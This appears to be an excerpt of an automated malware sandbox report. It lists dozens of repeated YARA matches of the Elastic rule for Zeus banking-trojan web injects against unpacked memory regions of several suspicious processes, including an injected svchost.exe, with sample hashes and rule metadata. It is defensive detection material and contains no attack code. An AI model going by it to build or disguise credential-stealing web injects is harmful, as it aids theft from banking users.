Source: 36.2.NcYLgtXIKJgHj.exe.23a0000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.44.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.30.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.2.Bpfz752pYZ.exe.406400.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.42.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.59.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.2cd1c00.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.2c70000.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 22.2.NcYLgtXIKJgHj.exe.2340000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.38.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.72.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 36.2.NcYLgtXIKJgHj.exe.23a0000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.53.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.881000.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.23.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.39.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 34.2.NcYLgtXIKJgHj.exe.bd2000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.31.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.13.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 10.2.NcYLgtXIKJgHj.exe.14c2000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 14.2.NcYLgtXIKJgHj.exe.2922000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.19.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.18.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 31.2.NcYLgtXIKJgHj.exe.27f0000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.62.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.25.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 34.2.NcYLgtXIKJgHj.exe.bd2000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.2.Bpfz752pYZ.exe.400000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.5450000.15.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 22.2.NcYLgtXIKJgHj.exe.5e2000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 28.2.NcYLgtXIKJgHj.exe.2d12000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 34.2.NcYLgtXIKJgHj.exe.2740000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.22.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.886000.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.881000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.407000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.17.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.45.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 20.2.NcYLgtXIKJgHj.exe.27d0000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.2.Bpfz752pYZ.exe.406400.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 10.2.NcYLgtXIKJgHj.exe.1520000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
